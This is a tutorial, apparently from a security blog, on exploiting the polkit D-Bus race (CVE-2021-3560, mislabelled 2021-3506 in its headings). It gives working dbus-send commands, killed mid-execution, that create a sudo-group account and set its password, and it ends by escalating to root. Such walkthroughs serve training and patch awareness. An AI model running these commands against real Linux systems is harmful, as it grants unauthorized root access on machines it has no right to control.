Linux Privilege Escalation: Polkit (CVE 2021-3560)
According to Red Hat, “Polkit stands for PolicyKit which is a framework that provides an authorization API used by privileged programs.” Pkexec is a tool in PolicyKit or polkit that allows a user to run a command as a different user. This vulnerability tricks polkit into bypassing the credential checks for D-Bus requests, elevating the privileges of the requestor to the root user. It was discovered by Kevin Backhouse and can be read here.
Table of Content
- Polkit, pkexec and dbus
- Background of CVE 2021-3506
- Exploitation of CVE 2021-3506
polkit, pkexec, and dbus
While authorization rules for local customization are stored in /etc/polkit-1/
You would observe *.conf files here. Conf and pkla files used to exist before *.rules and are there for backwards compatibility reasons.
dbus: dbus is a message system for applications to talk to one another (known as IPC or interprocess communication). This was developed as part of the freedesktop.org project. A basic dbus command to list system services looks like this:
dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply \ /org/freedesktop/DBus org.freedesktop.DBus.ListNames
In this demo, we’ll be using dbus to trigger pkexec from the command line. You can read more about dbus here.
Background of CVE 2021-3506
Polkit is a background process that allows authorization but it has a graphical prompt that Ubuntu users must be familiar with. It looks like this:
However, polkit is executed in text mode too while using text-mode session, for example, while using ssh.
ssh email@example.com pkexec sh
As you can see, pkexec has now been executed in CLI.
Now getting back to dbus here. It is an IPC agent which can help us to send commands or messages to other processes and communicate with them. To perform operations, dbus has various service files configured that reference the absolute paths of executables or daemons that are to be triggered. For system processes, dbus stores service files in /usr/share/dbus-1/system-services. Here, you can see the contents of the hostname. service which performs hostname modification operations in Ubuntu and Accounts. service which triggers accounts-daemon to perform user addition/modification options.
So, dbus can be used to execute a command and request polkit’s authorization for it. Each interface and method has its own XML configuration file that will reveal what parameters dbus sends to it while executing. We won’t get into that right now.
Kevin Backhouse posted this article where he detected a vulnerability in polkit that can be triggered by running the dbus-send command but killing it while polkit is still executing it and execution isn’t complete. In this demonstration, we will be creating a new user in the system without a root password. For that we would first launch a text-only session using ssh and then the dbus-send command:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:ignite string:"ignite user" int32:1
–system: sends message to the system bus
–dest: name of the connection (interface) that receives the message
–type: method_call means a system function with arguments being passed
–print-reply: prints the output in human-readable format
/org/freedesktop/Accounts: This is the function that will be used
org.freedesktop.Accounts.CreateUser: Method that will be used. Here, create user method is used which will essentially create a new user with the name specified in string 1. String 2 is the name (“ignite user”) that will be visible in the system. int32 is an integer argument the method takes in that specifies the type of account encoded as an integer.
You can find the configuration xml file for this method here.
But this will fail as authentication is required for us to create a new user.
Exploitation of CVE 2021-3506
For the exploit to work, we need to kill the command while it is being executed. For this we need to check the time it takes to execute this command.
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:ignite string:"ignite user" int32:1
As you can see, it takes me 0.008 seconds to execute this command. So, I need to kill my payload before 0.008 seconds for it to work.
Kevin mentions a user can hit CTRL+C quickly and it should work but better leave it to a simple inline bash script to kill the process in 0.0035 seconds. Note that we tried a lot of times and the time needed to run was different every time. So, you would need to experiment with it too and see which time suits you and would let the exploit run properly. Here
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:ignite string:"ignite user" int32:1 & sleep 0.0035s ; kill $!
We ran the same command about 5-7 times before our user ignite got created! What’s more, is that ignite is a member of the sudo group!
How did it work? Dbus assigns a unique ID to any connection. Polkit verifies that Unique ID and provides authorization. Let’s say the UID is 1.87. Since, the connection breaks in between, polkit recognizes the UID as 0 and considers the request coming from the root. Hence, this is how the exploit works.
We can check the /etc/passwd for its validity. Also, as you can see the uid is 1001 here.
tail -n 3 /etc/passwd
Next, we need to supply the password using dbus so that we can use this newly created user. We need to generate a hashed password as dbus-send takes in hashed password as input.
openssl passwd -5 ignite@123
This would generate a hash in SHA-256 format. We can use any other encryption too as per the system configuration.
Now we need to pass this hash in User.SetPassword function using dbus under a string parameter. The payload looks like:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1001 org.freedesktop.Accounts.User.SetPassword string:'$5$F2KwiUlWkn2i8DC.$rw9AOjKsmK83DhncqehVUzOKVqq.ArwS2G8eQKVntv7' string:BestHackingTutorials & sleep 0.0035s ; kill $!
Here, User.SetPassword has been used. Two parameters are passed. The first string is the hashed credential and the second string: “BestHackingTutorials” is the password hint. This can be changed too.
We need to send this command 6-7 times for this to run. We can login to this user now.
su ignite password: ignite@123 whoami id
You can escalate your privileges by sudo bash as user ignite is a member of the sudo group.
Polkit is a pre-installed package in Linux distros. Any system running polkit version < 0.119 is vulnerable to privilege escalation through this method. It has a high impact rating and exploitation is fairly easy as no exploit development knowledge is required. Hope you enjoyed the article. Thanks for reading.
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here